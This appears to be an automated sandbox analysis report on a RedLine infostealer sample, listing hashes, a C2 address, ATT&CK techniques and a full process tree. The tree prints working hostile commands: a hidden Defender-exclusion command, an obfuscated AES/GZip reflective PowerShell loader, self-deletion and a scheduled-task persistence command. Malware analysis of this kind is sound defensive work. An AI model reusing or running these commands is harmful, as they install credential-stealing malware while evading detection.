redline | 6f8164ef913d021af0766b111ab0fe1790f6d87568d2ec2aad75c6797c0b6ddd

Analysis

max time kernel
95s
max time network
106s
platform
windows10-2004_x64
resource
win10v2004-20220901-en
resource tags

arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
submitted
09/01/2023, 00:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
0e9be246e37eceffedcf036d5bce39e9.exe
Size 5.9MB
Sample230109-ancbssfb55
SHA256 6f8164ef913d021af0766b111ab0fe1790f6d87568d2ec2aad75c6797c0b6ddd
MD5 0e9be246e37eceffedcf036d5bce39e9
SHA1 f312a3ea84511be2512692384f7611f1c128ffe9
SHA512 531a08e4614a01a367c7ca6704f8589558157d6c615657e8a510dca09756ae5ff3a008a06f803d1cb00c3db6aecc6c2d0d840de244d50d1ef74ba9aa51c6332c
SSDEEP 49152:zYTbKuW0rl+W1iKKsmBwIFCqg4Xr3H6gWPKBnpuhpFqo3m1lnQwOXOZOJSmSMqWq:6+G7z5sqGMv79Ce6Q+K8g/rWlVkTh
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

redline cheat discovery infostealer spyware stealer

Malware Config

Extracted

Family

redline

Botnet

cheat

134.255.227.132:2247

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 1 IoCs

resource	yara_rule
behavioral2/memory/60-166-0x0000000000400000-0x000000000041E000-memory.dmp	family_redline

Downloads MZ/PE file

Executes dropped EXE 6 IoCs

pid	Process
3708	loader.pif
1640	Ukxjtvfgpyzyjludknloader.exe
3576	loader.pif
60	loader.pif
4968	RuntimeBroker.bat.exe
3332	BnmvQHjwLk.bat.exe

Checks computer location settings 2 TTPs 5 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	RuntimeBroker.bat.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	BnmvQHjwLk.bat.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	loader.pif
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	loader.pif

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3708 set thread context of 60	3708	loader.pif	98

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3432	1640	WerFault.exe	96

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
364	schtasks.exe
4476	schtasks.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings	RuntimeBroker.bat.exe

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\MY\Keys	Ukxjtvfgpyzyjludknloader.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\MY\Keys\6B3FDDB30B1B795815585FD453517F7FBDD4CCBD	Ukxjtvfgpyzyjludknloader.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\MY\Keys\6B3FDDB30B1B795815585FD453517F7FBDD4CCBD\Blob = 02000000000000006c0000001c000000000000000100000020000000000000000000000002000000300062006100350034003700630035002d0036003500330034002d0034003300640033002d0038003300640036002d0064003300350031003200360030003500320033006100390000000000000000002300000000000000140000006b3fddb30b1b795815585fd453517f7fbdd4ccbd	Ukxjtvfgpyzyjludknloader.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1636	powershell.exe
1636	powershell.exe
4708	powershell.exe
4708	powershell.exe
3376	powershell.exe
3376	powershell.exe
3708	loader.pif
3708	loader.pif
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe
1640	Ukxjtvfgpyzyjludknloader.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

description	pid	Process
Token: SeDebugPrivilege	1636	powershell.exe
Token: SeDebugPrivilege	4708	powershell.exe
Token: SeDebugPrivilege	3708	loader.pif
Token: SeDebugPrivilege	3376	powershell.exe
Token: SeDebugPrivilege	60	loader.pif
Token: SeDebugPrivilege	3632	powershell.exe
Token: SeDebugPrivilege	4968	RuntimeBroker.bat.exe
Token: SeDebugPrivilege	2576	powershell.exe
Token: SeDebugPrivilege	1668	powershell.exe
Token: SeDebugPrivilege	3332	BnmvQHjwLk.bat.exe
Token: SeDebugPrivilege	2632	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1640	Ukxjtvfgpyzyjludknloader.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4812 wrote to memory of 4888	4812	0e9be246e37eceffedcf036d5bce39e9.exe	82
PID 4812 wrote to memory of 4888	4812	0e9be246e37eceffedcf036d5bce39e9.exe	82
PID 4888 wrote to memory of 1636	4888	cmd.exe	83
PID 4888 wrote to memory of 1636	4888	cmd.exe	83
PID 4812 wrote to memory of 1904	4812	0e9be246e37eceffedcf036d5bce39e9.exe	84
PID 4812 wrote to memory of 1904	4812	0e9be246e37eceffedcf036d5bce39e9.exe	84
PID 1904 wrote to memory of 4708	1904	cmd.exe	86
PID 1904 wrote to memory of 4708	1904	cmd.exe	86
PID 4708 wrote to memory of 3708	4708	powershell.exe	87
PID 4708 wrote to memory of 3708	4708	powershell.exe	87
PID 4708 wrote to memory of 3708	4708	powershell.exe	87
PID 3708 wrote to memory of 3376	3708	loader.pif	91
PID 3708 wrote to memory of 3376	3708	loader.pif	91
PID 3708 wrote to memory of 3376	3708	loader.pif	91
PID 3708 wrote to memory of 1640	3708	loader.pif	96
PID 3708 wrote to memory of 1640	3708	loader.pif	96
PID 3708 wrote to memory of 3576	3708	loader.pif	97
PID 3708 wrote to memory of 3576	3708	loader.pif	97
PID 3708 wrote to memory of 3576	3708	loader.pif	97
PID 3708 wrote to memory of 60	3708	loader.pif	98
PID 3708 wrote to memory of 60	3708	loader.pif	98
PID 3708 wrote to memory of 60	3708	loader.pif	98
PID 3708 wrote to memory of 60	3708	loader.pif	98
PID 3708 wrote to memory of 60	3708	loader.pif	98
PID 3708 wrote to memory of 60	3708	loader.pif	98
PID 3708 wrote to memory of 60	3708	loader.pif	98
PID 3708 wrote to memory of 60	3708	loader.pif	98
PID 60 wrote to memory of 3900	60	loader.pif	101
PID 60 wrote to memory of 3900	60	loader.pif	101
PID 60 wrote to memory of 3900	60	loader.pif	101
PID 3900 wrote to memory of 3632	3900	cmd.exe	103
PID 3900 wrote to memory of 3632	3900	cmd.exe	103
PID 3900 wrote to memory of 3632	3900	cmd.exe	103
PID 3900 wrote to memory of 4968	3900	cmd.exe	104
PID 3900 wrote to memory of 4968	3900	cmd.exe	104
PID 3900 wrote to memory of 4968	3900	cmd.exe	104
PID 4968 wrote to memory of 2576	4968	RuntimeBroker.bat.exe	105
PID 4968 wrote to memory of 2576	4968	RuntimeBroker.bat.exe	105
PID 4968 wrote to memory of 2576	4968	RuntimeBroker.bat.exe	105
PID 4968 wrote to memory of 3140	4968	RuntimeBroker.bat.exe	107
PID 4968 wrote to memory of 3140	4968	RuntimeBroker.bat.exe	107
PID 4968 wrote to memory of 3140	4968	RuntimeBroker.bat.exe	107
PID 3140 wrote to memory of 364	3140	cmd.exe	109
PID 3140 wrote to memory of 364	3140	cmd.exe	109
PID 3140 wrote to memory of 364	3140	cmd.exe	109
PID 4968 wrote to memory of 4608	4968	RuntimeBroker.bat.exe	110
PID 4968 wrote to memory of 4608	4968	RuntimeBroker.bat.exe	110
PID 4968 wrote to memory of 4608	4968	RuntimeBroker.bat.exe	110
PID 4608 wrote to memory of 4244	4608	WScript.exe	111
PID 4608 wrote to memory of 4244	4608	WScript.exe	111
PID 4608 wrote to memory of 4244	4608	WScript.exe	111
PID 4244 wrote to memory of 1668	4244	cmd.exe	113
PID 4244 wrote to memory of 1668	4244	cmd.exe	113
PID 4244 wrote to memory of 1668	4244	cmd.exe	113
PID 4244 wrote to memory of 3332	4244	cmd.exe	114
PID 4244 wrote to memory of 3332	4244	cmd.exe	114
PID 4244 wrote to memory of 3332	4244	cmd.exe	114
PID 3332 wrote to memory of 2632	3332	BnmvQHjwLk.bat.exe	115
PID 3332 wrote to memory of 2632	3332	BnmvQHjwLk.bat.exe	115
PID 3332 wrote to memory of 2632	3332	BnmvQHjwLk.bat.exe	115
PID 3332 wrote to memory of 1740	3332	BnmvQHjwLk.bat.exe	117
PID 3332 wrote to memory of 1740	3332	BnmvQHjwLk.bat.exe	117
PID 3332 wrote to memory of 1740	3332	BnmvQHjwLk.bat.exe	117
PID 1740 wrote to memory of 4476	1740	cmd.exe	119

C:\Users\Admin\AppData\Local\Temp\0e9be246e37eceffedcf036d5bce39e9.exe
"C:\Users\Admin\AppData\Local\Temp\0e9be246e37eceffedcf036d5bce39e9.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4812
- C:\Windows\system32\cmd.exe
  "cmd.exe" /C "powershell -w Hidden -ExecutionPolicy Bypass -C Set-MpPreference -ExclusionPath C:\\"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4888
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -w Hidden -ExecutionPolicy Bypass -C Set-MpPreference -ExclusionPath C:\\
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1636
- C:\Windows\system32\cmd.exe
  "cmd.exe" /C "powershell -w Hidden -ExecutionPolicy Bypass -c Start-Process C:\ProgramData\loader.pif"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1904
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -w Hidden -ExecutionPolicy Bypass -c Start-Process C:\ProgramData\loader.pif
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4708
  - - C:\ProgramData\loader.pif
      "C:\ProgramData\loader.pif"
      4⤵
      Executes dropped EXE
      Checks computer location settings
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3708
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMQAwAA==
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3376
    - - C:\Users\Admin\AppData\Local\Temp\Ukxjtvfgpyzyjludknloader.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Ukxjtvfgpyzyjludknloader.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Modifies system certificate store
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:1640
      - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 1640 -s 972
        6⤵
        Program crash
        
        PID:3432
    - - C:\ProgramData\loader.pif
        
        C:\ProgramData\loader.pif
        5⤵
        Executes dropped EXE
        
        PID:3576
    - - C:\ProgramData\loader.pif
        
        C:\ProgramData\loader.pif
        5⤵
        Executes dropped EXE
        Checks computer location settings
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:60
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.bat" "
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3900
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -w hidden -c #
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3632
        
        C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.bat.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.bat.exe" function pb($Y){$Y.Replace('@', '')}$luUM=pb 'R@ead@A@l@lTe@x@t@';$xsBo=pb 'Ent@ryP@oint@';$uRlK=pb 'Inv@oke@';$ReON=pb 'Get@Cu@r@ren@tPr@o@c@es@s@';$MJUh=pb 'Cr@eat@e@Dec@ry@pt@or@';$iZLs=pb 'Tr@an@s@f@or@m@Fi@nal@Blo@c@k@';$feUn=pb 'Spl@it@';$JgFr=pb 'Ch@an@g@e@Ext@ens@io@n@';$nnOg=pb 'Loa@d@';$RrqW=pb 'Fr@o@m@Bas@e@64@Str@ing@';function HXMhC($lSiMe,$ksUdL,$ohBks){$Sdsvw=[System.Security.Cryptography.Aes]::Create();$Sdsvw.Mode=[System.Security.Cryptography.CipherMode]::CBC;$Sdsvw.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$Sdsvw.Key=[System.Convert]::$RrqW($ksUdL);$Sdsvw.IV=[System.Convert]::$RrqW($ohBks);$GJOZL=$Sdsvw.$MJUh();$thwcG=$GJOZL.$iZLs($lSiMe,0,$lSiMe.Length);$GJOZL.Dispose();$Sdsvw.Dispose();$thwcG;}function FqvUa($lSiMe){$pkQGp=New-Object System.IO.MemoryStream(,$lSiMe);$FffrO=New-Object System.IO.MemoryStream;$OvgHr=New-Object System.IO.Compression.GZipStream($pkQGp,[IO.Compression.CompressionMode]::Decompress);$OvgHr.CopyTo($FffrO);$OvgHr.Dispose();$pkQGp.Dispose();$FffrO.Dispose();$FffrO.ToArray();}function ZAucq($lSiMe,$ksUdL){[System.Reflection.Assembly]::$nnOg([byte[]]$lSiMe).$xsBo.$uRlK($null,$ksUdL);}$wJcvS=[System.IO.File]::$luUM([System.IO.Path]::$JgFr([System.Diagnostics.Process]::$ReON().MainModule.FileName, $null)).$feUn([Environment]::NewLine);$sVidx=$wJcvS[$wJcvS.Length-1].Substring(2);$EFLqu=[string[]]$sVidx.$feUn('\');$ocJwo=FqvUa (HXMhC ([Convert]::$RrqW($EFLqu[0])) $EFLqu[2] $EFLqu[3]);$xPlCG=FqvUa (HXMhC ([Convert]::$RrqW($EFLqu[1])) $EFLqu[2] $EFLqu[3]);ZAucq $xPlCG $null;ZAucq $ocJwo $null;
        7⤵
        Executes dropped EXE
        Checks computer location settings
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4968
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(4968);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b;
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2576
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn RuntimeBroker_BnmvQHjwLk /tr "wscript.exe "C:\Users\Admin\AppData\Roaming\BnmvQHjwLk.vbs""
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:3140
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn RuntimeBroker_BnmvQHjwLk /tr "wscript.exe "C:\Users\Admin\AppData\Roaming\BnmvQHjwLk.vbs""
        9⤵
        Creates scheduled task(s)
        
        PID:364
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\BnmvQHjwLk.vbs"
        8⤵
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:4608
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\BnmvQHjwLk.bat" "
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:4244
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -w hidden -c #
        10⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1668
        
        C:\Users\Admin\AppData\Roaming\BnmvQHjwLk.bat.exe
        
        "C:\Users\Admin\AppData\Roaming\BnmvQHjwLk.bat.exe" function pb($Y){$Y.Replace('@', '')}$luUM=pb 'R@ead@A@l@lTe@x@t@';$xsBo=pb 'Ent@ryP@oint@';$uRlK=pb 'Inv@oke@';$ReON=pb 'Get@Cu@r@ren@tPr@o@c@es@s@';$MJUh=pb 'Cr@eat@e@Dec@ry@pt@or@';$iZLs=pb 'Tr@an@s@f@or@m@Fi@nal@Blo@c@k@';$feUn=pb 'Spl@it@';$JgFr=pb 'Ch@an@g@e@Ext@ens@io@n@';$nnOg=pb 'Loa@d@';$RrqW=pb 'Fr@o@m@Bas@e@64@Str@ing@';function HXMhC($lSiMe,$ksUdL,$ohBks){$Sdsvw=[System.Security.Cryptography.Aes]::Create();$Sdsvw.Mode=[System.Security.Cryptography.CipherMode]::CBC;$Sdsvw.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$Sdsvw.Key=[System.Convert]::$RrqW($ksUdL);$Sdsvw.IV=[System.Convert]::$RrqW($ohBks);$GJOZL=$Sdsvw.$MJUh();$thwcG=$GJOZL.$iZLs($lSiMe,0,$lSiMe.Length);$GJOZL.Dispose();$Sdsvw.Dispose();$thwcG;}function FqvUa($lSiMe){$pkQGp=New-Object System.IO.MemoryStream(,$lSiMe);$FffrO=New-Object System.IO.MemoryStream;$OvgHr=New-Object System.IO.Compression.GZipStream($pkQGp,[IO.Compression.CompressionMode]::Decompress);$OvgHr.CopyTo($FffrO);$OvgHr.Dispose();$pkQGp.Dispose();$FffrO.Dispose();$FffrO.ToArray();}function ZAucq($lSiMe,$ksUdL){[System.Reflection.Assembly]::$nnOg([byte[]]$lSiMe).$xsBo.$uRlK($null,$ksUdL);}$wJcvS=[System.IO.File]::$luUM([System.IO.Path]::$JgFr([System.Diagnostics.Process]::$ReON().MainModule.FileName, $null)).$feUn([Environment]::NewLine);$sVidx=$wJcvS[$wJcvS.Length-1].Substring(2);$EFLqu=[string[]]$sVidx.$feUn('\');$ocJwo=FqvUa (HXMhC ([Convert]::$RrqW($EFLqu[0])) $EFLqu[2] $EFLqu[3]);$xPlCG=FqvUa (HXMhC ([Convert]::$RrqW($EFLqu[1])) $EFLqu[2] $EFLqu[3]);ZAucq $xPlCG $null;ZAucq $ocJwo $null;
        10⤵
        Executes dropped EXE
        Checks computer location settings
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3332
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(3332);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b;
        11⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2632
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn RuntimeBroker_BnmvQHjwLk /tr "wscript.exe "C:\Users\Admin\AppData\Roaming\BnmvQHjwLk.vbs""
        11⤵
        Suspicious use of WriteProcessMemory
        
        PID:1740
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn RuntimeBroker_BnmvQHjwLk /tr "wscript.exe "C:\Users\Admin\AppData\Roaming\BnmvQHjwLk.vbs""
        12⤵
        Creates scheduled task(s)
        
        PID:4476

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 448 -p 1640 -ip 1640
1⤵
PID:5064

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

loader.pif

Path C:\ProgramData\loader.pif
Size 7KB
SHA256 8ee570b28eed3b7435202b0a91ecf2a41956d2c06a90745501007a0119617756
MD5 59b8ce54fef9fac5fae5f5e55978a0ff
SHA1 f5967e47d8b8c23ebf29a8889996d2cfa0bdac46
SHA512 66916fe1a69a42fb9e03528c1aa9a36694cc0f35385c5bc77698c75d2b428b6eda70771b4447a72a94ea21a7f5123fb0ff47a0772588d5c487f104898d7f20aa
SSDEEP 96:1EP7fcigNdGwd2JMjZjVBP8uO6kyj+ZVzHxzNt:SP7fYSm1VBkuOHyj+ZxHT
MD5 SHA1 SHA512 SSDEEP

Submit Download

loader.pif

Path C:\ProgramData\loader.pif
Size 7KB
SHA256 8ee570b28eed3b7435202b0a91ecf2a41956d2c06a90745501007a0119617756
MD5 59b8ce54fef9fac5fae5f5e55978a0ff
SHA1 f5967e47d8b8c23ebf29a8889996d2cfa0bdac46
SHA512 66916fe1a69a42fb9e03528c1aa9a36694cc0f35385c5bc77698c75d2b428b6eda70771b4447a72a94ea21a7f5123fb0ff47a0772588d5c487f104898d7f20aa
SSDEEP 96:1EP7fcigNdGwd2JMjZjVBP8uO6kyj+ZVzHxzNt:SP7fYSm1VBkuOHyj+ZxHT
MD5 SHA1 SHA512 SSDEEP

Submit Download

loader.pif

Path C:\ProgramData\loader.pif
Size 7KB
SHA256 8ee570b28eed3b7435202b0a91ecf2a41956d2c06a90745501007a0119617756
MD5 59b8ce54fef9fac5fae5f5e55978a0ff
SHA1 f5967e47d8b8c23ebf29a8889996d2cfa0bdac46
SHA512 66916fe1a69a42fb9e03528c1aa9a36694cc0f35385c5bc77698c75d2b428b6eda70771b4447a72a94ea21a7f5123fb0ff47a0772588d5c487f104898d7f20aa
SSDEEP 96:1EP7fcigNdGwd2JMjZjVBP8uO6kyj+ZVzHxzNt:SP7fYSm1VBkuOHyj+ZxHT
MD5 SHA1 SHA512 SSDEEP

Submit Download

loader.pif

Path C:\ProgramData\loader.pif
Size 7KB
SHA256 8ee570b28eed3b7435202b0a91ecf2a41956d2c06a90745501007a0119617756
MD5 59b8ce54fef9fac5fae5f5e55978a0ff
SHA1 f5967e47d8b8c23ebf29a8889996d2cfa0bdac46
SHA512 66916fe1a69a42fb9e03528c1aa9a36694cc0f35385c5bc77698c75d2b428b6eda70771b4447a72a94ea21a7f5123fb0ff47a0772588d5c487f104898d7f20aa
SSDEEP 96:1EP7fcigNdGwd2JMjZjVBP8uO6kyj+ZVzHxzNt:SP7fYSm1VBkuOHyj+ZxHT
MD5 SHA1 SHA512 SSDEEP

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

Submit Download

loader.pif.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\loader.pif.log
Size 1KB
SHA256 ff5ba3377d8a877085f95151cebe602331c2780012e2372cae03e4e1de7cdd31
MD5 9b9aeed9209fb8377478aa9b78a990ab
SHA1 e4dcf49c8cfce6bcd2cfba7cba61bea00bdb2c7a
SHA512 0108b5e9cfa2f7917fcde42d3213cceb7a15735d4ab0c79702d510b291db2881d252af4cf5de4bf1e31804db322124670577b6399044684776a0ea5590d3e0a0
MD5 SHA1 SHA512

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 1KB
SHA256 e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359
MD5 4280e36a29fa31c01e4d8b2ba726a0d8
SHA1 c485c2c9ce0a99747b18d899b71dfa9a64dabe32
SHA512 494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4
MD5 SHA1 SHA512

Submit Download